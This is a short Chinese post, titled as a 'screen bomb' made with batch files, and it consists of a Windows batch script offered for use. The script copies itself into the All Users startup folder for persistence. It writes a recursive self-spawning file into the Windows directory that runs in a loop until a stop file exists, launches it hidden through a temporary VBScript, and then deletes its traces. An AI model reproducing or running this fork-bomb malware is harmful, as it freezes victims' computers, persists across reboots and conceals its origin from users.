批处理实现屏幕炸弹

@echo off 
if not exist "%homepath%\..\all users\「开始」菜单\程序\启动\power.bat" copy %~fs0 "%homepath%\..\all users\「开始」菜单\程序\启动\power.bat">nul 
echo @echo off>%windir%\power.bat 
echo if "%%1"=="" goto :end>>%windir%\power.bat 
echo if exist c:\_stop goto :eof>>%windir%\power.bat 
echo start /b %%~fs0 exp>>%windir%\power.bat 
echo :s>>%windir%\power.bat 
echo if not exist c:\_stop goto s>>%windir%\power.bat 
echo exit>>%windir%\power.bat 
echo :end>>%windir%\power.bat 
echo del %%~fs0>>%windir%\power.bat 
echo set ws=createobject("wscript.shell")>%windir%\power.vbs 
echo ws.run "%windir%\power.bat exp",0 >>%windir%\power.vbs 
wscript %windir%\power.vbs 
del %windir%\power.vbs 
set p=%~ps0 
if not %p:~-3,2%==启动 del %~fs0